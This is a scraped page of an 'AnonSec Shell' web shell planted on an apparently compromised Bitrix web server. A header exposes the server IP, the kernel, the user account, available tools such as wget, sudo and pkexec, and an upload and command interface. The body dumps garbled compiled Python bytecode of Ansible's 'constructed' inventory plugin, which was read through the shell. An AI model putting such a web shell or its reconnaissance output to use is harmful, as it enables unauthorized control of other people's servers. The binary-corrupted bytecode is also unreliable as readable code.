AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.139.240.125
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/ansible/plugins/inventory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/ansible/plugins/inventory/constructed.pyc
�
��\c@`s�ddlmZmZmZeZdZdZddlZddl	m
Zddlm
Z
ddlmZddlmZdd	lmZmZdd
lmZddlmZdeefd
��YZdS(i(tabsolute_importtdivisiontprint_functions�
    name: constructed
    plugin_type: inventory
    version_added: "2.4"
    short_description: Uses Jinja2 to construct vars and groups based on existing inventory.
    description:
        - Uses a YAML configuration file with a valid YAML or C(.config) extension to define var expressions and group conditionals
        - The Jinja2 conditionals that qualify a host for membership.
        - The JInja2 exprpessions are calculated and assigned to the variables
        - Only variables already available from previous inventories or the fact cache can be used for templating.
        - When I(strict) is False, failed expressions will be ignored (assumes vars were missing).
    options:
        plugin:
            description: token that ensures this is a source file for the 'constructed' plugin.
            required: True
            choices: ['constructed']
    extends_documentation_fragment:
      - constructed
s!
    # inventory.config file in YAML format
    plugin: constructed
    strict: False
    compose:
        var_sum: var1 + var2

        # this variable will only be set if I have a persistent fact cache enabled (and have non expired facts)
        # `strict: False` will skip this instead of producing an error if it is missing facts.
        server_type: "ansible_hostname | regex_replace ('(.{6})(.{2}).*', '\\2')"
    groups:
        # simple name matching
        webservers: inventory_hostname.startswith('web')

        # using ec2 'tags' (assumes aws inventory)
        development: "'devel' in (ec2_tags|list)"

        # using other host properties populated in inventory
        private_only: not (public_dns_name is defined or ip_address is defined)

        # complex group membership
        multi_group: (group_names|intersection(['alpha', 'beta', 'omega']))|length >= 2

    keyed_groups:
        # this creates a group per distro (distro_CentOS, distro_Debian) and assigns the hosts that have matching values to it,
        # using the default separator "_"
        - prefix: distro
          key: ansible_distribution

        # this creates a group per ec2 architecture and assign hosts to the matching ones (arch_x86_64, arch_sparc, etc)
        - prefix: arch
          key: ec2_architecture
N(t	constants(tAnsibleParserError(tget_group_vars(t	FactCache(tBaseInventoryPlugint
Constructable(t	to_native(tcombine_varstInventoryModulecB`s2eZdZdZd�Zd�Zed�ZRS(s> constructs groups and vars using Jinja2 template expressions tconstructedcC`s#tt|�j�t�|_dS(N(tsuperRt__init__Rt_cache(tself((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/constructed.pyRMscC`sct}tt|�j|�r_tjj|�\}}|sS|dgtjkr_t	}q_n|S(Ns.config(
tFalseR
Rtverify_filetostpathtsplitexttCtYAML_FILENAME_EXTENSIONStTrue(RRtvalidt	file_nametext((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/constructed.pyRSsc
C`s�tt|�j|||d|�|j|�|jd�}t�}y&x|jD]}tt|j|j	��|j|j
��}||kr�t|||�}n|j|jd�||d|�tt|j|j	��|j|j
��}||jkr$t||j|�}n|j
|jd�||d|�|j|jd�||d|�qTWWn5tk
r�}	tdt|�t|	�f��nXdS(s parses the inventory file tcachetstricttcomposetgroupstkeyed_groupssfailed to parse %s: %s N(R
Rtparset_read_config_datat
get_optionRthostsR
Rt
get_groupstget_varst_set_composite_varsRt_add_host_to_composed_groupst_add_host_to_keyed_groupst	ExceptionRR	(
Rt	inventorytloaderRRRt
fact_cachethostthostvarste((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/constructed.pyR!^s""
	/"/"*(t__name__t
__module__t__doc__tNAMERRRR!(((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/constructed.pyRHs
		(t
__future__RRRttypet
__metaclass__t
DOCUMENTATIONtEXAMPLESRtansibleRRtansible.errorsRtansible.inventory.helpersRtansible.plugins.cacheRtansible.plugins.inventoryRRtansible.module_utils._textR	tansible.utils.varsR
R(((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/constructed.pyt<module>s"

Anon7 - 2022
AnonSec Team